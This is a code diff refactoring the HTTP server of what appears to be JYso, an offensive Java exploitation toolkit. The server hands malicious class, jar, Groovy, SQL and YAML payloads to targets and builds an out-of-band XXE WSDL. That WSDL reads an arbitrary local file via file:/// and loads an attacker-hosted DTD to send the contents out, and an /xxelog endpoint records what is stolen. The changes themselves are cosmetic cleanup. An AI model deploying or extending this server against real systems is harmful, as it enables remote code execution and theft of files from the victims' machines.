55import com .qi4l .JYso .gadgets .utils .Utils ;
66import com .qi4l .JYso .template .ReverseShellTemplate ;
77import com .sun .net .httpserver .HttpExchange ;
8- import com .sun .net .httpserver .HttpHandler ;
98import com .sun .net .httpserver .HttpServer ;
109import javassist .ClassPool ;
1110import javassist .CtClass ;
1211import org .apache .commons .lang3 .reflect .FieldUtils ;
12+ import org .apache .logging .log4j .LogManager ;
13+ import org .apache .logging .log4j .Logger ;
1314
1415import java .io .ByteArrayOutputStream ;
1516import java .io .File ;
16- import java .io .FileInputStream ;
1717import java .io .IOException ;
1818import java .net .InetSocketAddress ;
1919import java .nio .charset .StandardCharsets ;
20+ import java .nio .file .Files ;
2021import java .util .HashMap ;
2122import java .util .Map ;
2223import java .util .jar .JarOutputStream ;
2324import java .util .zip .ZipEntry ;
2425
2526import static org .fusesource .jansi .Ansi .ansi ;
2627
28+ @ SuppressWarnings ("HttpUrlsUsage" )
2729public class HTTPServer {
28- //获取根目录路径
30+ private static final Logger log = LogManager .getLogger (HTTPServer .class );
31+ // 获取根目录路径
2932 public static String cwd = System .getProperty ("user.dir" );
3033
3134 public static void start () throws IOException {
3235
3336 HttpServer httpServer = HttpServer .create (new InetSocketAddress (Config .httpPort ), 0 );
34- httpServer .createContext ("/" , new HttpHandler () {
35- @ Override
36- public void handle (HttpExchange httpExchange ) {
37- try {
38- System .out .println (ansi ().render ("@|green [+]|@ New HTTP Request From >>" + httpExchange .getRemoteAddress () + " " + httpExchange .getRequestURI ()));
39-
40- String qi = String .valueOf (httpExchange .getRequestURI ());
41-
42-
43- if (qi .contains ("setPathAlias" )) {
44- Config .BCEL1 = qi .substring (qi .indexOf ("=" ) + 1 );
45- System .out .println (ansi ().render ("@|green [+]|@ 获取参数成功 >> " + Config .BCEL1 ));
46- } else if (qi .contains ("setRoute" )) {
47- Config .ROUTE = qi .substring (qi .indexOf ("=" ) + 1 );
48- System .out .println (ansi ().render ("@|green [+]|@ 获取路由成功 >> " + Config .ROUTE ));
49- }
50-
51- String path = httpExchange .getRequestURI ().getPath ();
52- if (path .endsWith (".class" )) {
53- handleClassRequest (httpExchange );
54- } else if (path .endsWith (".wsdl" )) {
55- handleWSDLRequest (httpExchange );
56- } else if (path .endsWith (".jar" )) {
57- handleJarRequest (httpExchange );
58- } else if (path .startsWith ("/xxelog" )) {
59- handleXXELogRequest (httpExchange );
60- } else if (path .endsWith (".sql" )) {
61- handleSQLRequest (httpExchange );
62- } else if (path .endsWith (".groovy" )) {
63- handlerGroovyRequest (httpExchange );
64- } else if (path .endsWith (".xml" )) {
65- handleXMLRequest (httpExchange );
66- } else if (path .endsWith (".txt" )) {
67- handleTXTRequest (httpExchange );
68- } else if (path .endsWith (".yml" )) {
69- handleYmlRequest (httpExchange );
70- } else {
71- handleFileRequest (httpExchange );
72- }
73- } catch (Exception e ) {
74- e .printStackTrace ();
37+ httpServer .createContext ("/" , httpExchange -> {
38+ try {
39+ System .out .println (ansi ().render ("@|green [+]|@ New HTTP Request From >>" + httpExchange .getRemoteAddress () + " " + httpExchange .getRequestURI ()));
40+
41+ String qi = String .valueOf (httpExchange .getRequestURI ());
42+
43+
44+ if (qi .contains ("setPathAlias" )) {
45+ Config .BCEL1 = qi .substring (qi .indexOf ("=" ) + 1 );
46+ System .out .println (ansi ().render ("@|green [+]|@ 获取参数成功 >> " + Config .BCEL1 ));
47+ } else if (qi .contains ("setRoute" )) {
48+ Config .ROUTE = qi .substring (qi .indexOf ("=" ) + 1 );
49+ System .out .println (ansi ().render ("@|green [+]|@ 获取路由成功 >> " + Config .ROUTE ));
50+ }
51+
52+ String path = httpExchange .getRequestURI ().getPath ();
53+ if (path .endsWith (".class" )) {
54+ handleClassRequest (httpExchange );
55+ } else if (path .endsWith (".wsdl" )) {
56+ handleWSDLRequest (httpExchange );
57+ } else if (path .endsWith (".jar" )) {
58+ handleJarRequest (httpExchange );
59+ } else if (path .startsWith ("/xxelog" )) {
60+ handleXXELogRequest (httpExchange );
61+ } else if (path .endsWith (".sql" )) {
62+ handleSQLRequest (httpExchange );
63+ } else if (path .endsWith (".groovy" )) {
64+ handlerGroovyRequest (httpExchange );
65+ } else if (path .endsWith (".xml" )) {
66+ handleXMLRequest (httpExchange );
67+ } else if (path .endsWith (".txt" )) {
68+ handleTXTRequest (httpExchange );
69+ } else if (path .endsWith (".yml" )) {
70+ handleYmlRequest (httpExchange );
71+ } else {
72+ handleFileRequest (httpExchange );
7573 }
74+ } catch (Exception e ) {
75+ log .error ("e: " , e );
7676 }
7777 });
7878
@@ -86,16 +86,7 @@ private static void handleFileRequest(HttpExchange exchange) throws Exception {
8686 String path = exchange .getRequestURI ().getPath ();
8787 String filename = cwd + File .separator + "data" + File .separator + path .substring (path .lastIndexOf ("/" ) + 1 );
8888 File file = new File (filename );
89- if (file .exists ()) {
90- byte [] bytes = new byte [(int ) file .length ()];
91- FileInputStream fileInputStream = new FileInputStream (file );
92- fileInputStream .read (bytes );
93- exchange .sendResponseHeaders (200 , file .length () + 1 );
94- exchange .getResponseBody ().write (bytes );
95- } else {
96- System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
97- exchange .sendResponseHeaders (404 , 0 );
98- }
89+ serveFileContent (exchange , file , null , null );
9990 exchange .close ();
10091
10192 }
@@ -120,18 +111,7 @@ private static void handleYmlRequest(HttpExchange exchange) throws IOException {
120111 } else {
121112 String pa = cwd + File .separator + "data" ;
122113 File file = new File (pa + File .separator + YamlName + ".yml" );
123- if (file .exists ()) {
124- byte [] bytes1 = new byte [(int ) file .length ()];
125- try (FileInputStream fileInputStream = new FileInputStream (file )) {
126- fileInputStream .read (bytes1 );
127- }
128- exchange .getResponseHeaders ().set ("Content-type" , "application/octet-stream" );
129- exchange .sendResponseHeaders (200 , file .length () + 1 );
130- exchange .getResponseBody ().write (bytes1 );
131- } else {
132- System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
133- exchange .sendResponseHeaders (404 , 0 );
134- }
114+ serveFileContent (exchange , file , "Content-type" , "application/octet-stream" );
135115
136116 }
137117 exchange .close ();
@@ -150,19 +130,7 @@ public static void handleTXTRequest(HttpExchange exchange) throws IOException {
150130 String pa = cwd + File .separator + "data" ;
151131 File file = new File (pa + File .separator + txtname + ".txt" );
152132
153- if (file .exists ()) {
154-
155- byte [] bytes1 = new byte [(int ) file .length ()];
156- try (FileInputStream fileInputStream = new FileInputStream (file )) {
157- fileInputStream .read (bytes1 );
158- }
159- exchange .getResponseHeaders ().set ("Content-type" , "application/octet-stream" );
160- exchange .sendResponseHeaders (200 , file .length () + 1 );
161- exchange .getResponseBody ().write (bytes1 );
162- } else {
163- System .out .println (ansi ().render ("@|red [!] Response Code: @|" + 404 ));
164- exchange .sendResponseHeaders (404 , 0 );
165- }
133+ serveFileContent (exchange , file , "Content-type" , "application/octet-stream" );
166134 }
167135 exchange .close ();
168136 }
@@ -283,19 +251,7 @@ public static void handleXMLRequest(HttpExchange exchange) throws IOException {
283251 String pa = cwd + File .separator + "data" ;
284252 File file = new File (pa + File .separator + xmlName + ".xml" );
285253
286- if (file .exists ()) {
287- byte [] bytes1 = new byte [(int ) file .length ()];
288- try (FileInputStream fileInputStream = new FileInputStream (file )) {
289- fileInputStream .read (bytes1 );
290- }
291- exchange .getResponseHeaders ().add ("Content-Type" , "application/xml; charset=utf-8" );
292- // exchange.getResponseHeaders().set("Content-type","application/octet-stream");
293- exchange .sendResponseHeaders (200 , file .length () + 1 );
294- exchange .getResponseBody ().write (bytes1 );
295- } else {
296- System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
297- exchange .sendResponseHeaders (404 , 0 );
298- }
254+ serveFileContent (exchange , file , "Content-Type" , "application/xml; charset=utf-8" );
299255
300256 }
301257 exchange .close ();
@@ -331,18 +287,7 @@ public static void handleSQLRequest(HttpExchange exchange) throws IOException {
331287 String pa = cwd + File .separator + "data" ;
332288 File file = new File (pa + File .separator + sqlName + ".sql" );
333289
334- if (file .exists ()) {
335- byte [] bytes = new byte [(int ) file .length ()];
336- try (FileInputStream fileInputStream = new FileInputStream (file )) {
337- fileInputStream .read (bytes );
338- }
339- // exchange.getResponseHeaders().set("Content-type","application/octet-stream");
340- exchange .sendResponseHeaders (200 , file .length () + 1 );
341- exchange .getResponseBody ().write (bytes );
342- } else {
343- System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
344- exchange .sendResponseHeaders (404 , 0 );
345- }
290+ serveFileContent (exchange , file , null , null );
346291 }
347292 exchange .close ();
348293 }
@@ -371,18 +316,7 @@ public static void handlerGroovyRequest(HttpExchange exchange) throws IOExceptio
371316 String pa = cwd + File .separator + "data" ;
372317 File file = new File (pa + File .separator + groovyName + ".groovy" );
373318
374- if (file .exists ()) {
375- byte [] bytes = new byte [(int ) file .length ()];
376- try (FileInputStream fileInputStream = new FileInputStream (file )) {
377- fileInputStream .read (bytes );
378- }
379- // exchange.getResponseHeaders().set("Content-type","application/octet-stream");
380- exchange .sendResponseHeaders (200 , file .length () + 1 );
381- exchange .getResponseBody ().write (bytes );
382- } else {
383- System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
384- exchange .sendResponseHeaders (404 , 0 );
385- }
319+ serveFileContent (exchange , file , null , null );
386320
387321 }
388322 exchange .close ();
@@ -440,10 +374,7 @@ private static void handleClassRequest(HttpExchange exchange) throws IOException
440374 File file = new File (pa );
441375
442376 if (file .exists ()) {
443- byte [] bytes = new byte [(int ) file .length ()];
444- try (FileInputStream fileInputStream = new FileInputStream (file )) {
445- fileInputStream .read (bytes );
446- }
377+ byte [] bytes = Files .readAllBytes (file .toPath ());
447378 exchange .getResponseHeaders ().set ("Content-type" , "application/octet-stream" );
448379 exchange .sendResponseHeaders (200 , file .length ());
449380 exchange .getResponseBody ().write (bytes );
@@ -465,18 +396,18 @@ private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
465396 String path = exchange .getRequestURI ().getPath ().substring (1 );
466397
467398 if (path .startsWith ("list" )) {
468- //intended to list directories or read files on server
399+ // intended to list directories or read files on server
469400 String file = params .get ("file" );
470401 if (file != null && !file .isEmpty ()) {
471- String listWsdl = "" +
402+ String listWsdl =
472403 "<!DOCTYPE x [\n " +
473- " <!ENTITY % aaa SYSTEM \" file:///" + file + "\" >\n " +
474- " <!ENTITY % bbb SYSTEM \" http://" + Config .ip + ":" + Config .httpPort + "/http.wsdl\" >\n " +
475- " %bbb;\n " +
476- "]>\n " +
477- "<definitions name=\" HelloService\" xmlns=\" http://schemas.xmlsoap.org/wsdl/\" >\n " +
478- " &ddd;\n " +
479- "</definitions>" ;
404+ " <!ENTITY % aaa SYSTEM \" file:///" + file + "\" >\n " +
405+ " <!ENTITY % bbb SYSTEM \" http://" + Config .ip + ":" + Config .httpPort + "/http.wsdl\" >\n " +
406+ " %bbb;\n " +
407+ "]>\n " +
408+ "<definitions name=\" HelloService\" xmlns=\" http://schemas.xmlsoap.org/wsdl/\" >\n " +
409+ " &ddd;\n " +
410+ "</definitions>" ;
480411
481412 System .out .println (ansi ().render ("@|green [+] Response Code: |@" + 200 ));
482413 exchange .sendResponseHeaders (200 , listWsdl .getBytes ().length );
@@ -528,6 +459,20 @@ private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
528459 }
529460 }
530461
462+ private static void serveFileContent (HttpExchange exchange , File file , String headerKey , String headerValue ) throws IOException {
463+ if (file .exists ()) {
464+ byte [] bytes = Files .readAllBytes (file .toPath ());
465+ if (headerKey != null ) {
466+ exchange .getResponseHeaders ().set (headerKey , headerValue );
467+ }
468+ exchange .sendResponseHeaders (200 , file .length () + 1 );
469+ exchange .getResponseBody ().write (bytes );
470+ } else {
471+ System .out .println (ansi ().render ("@|red [!] Response Code: |@" + 404 ));
472+ exchange .sendResponseHeaders (404 , 0 );
473+ }
474+ }
475+
531476 private static Map <String , String > parseQuery (String query ) {
532477 Map <String , String > params = new HashMap <>();
533478
@@ -537,11 +482,11 @@ private static Map<String, String> parseQuery(String query) {
537482 String [] parts = str .split ("=" , 2 );
538483 params .put (parts [0 ], parts [1 ]);
539484 } catch (Exception e ) {
540- //continue
485+ // continue
541486 }
542487 }
543488 } catch (Exception e ) {
544- //continue
489+ // continue
545490 }
546491
547492 return params ;
0 commit comments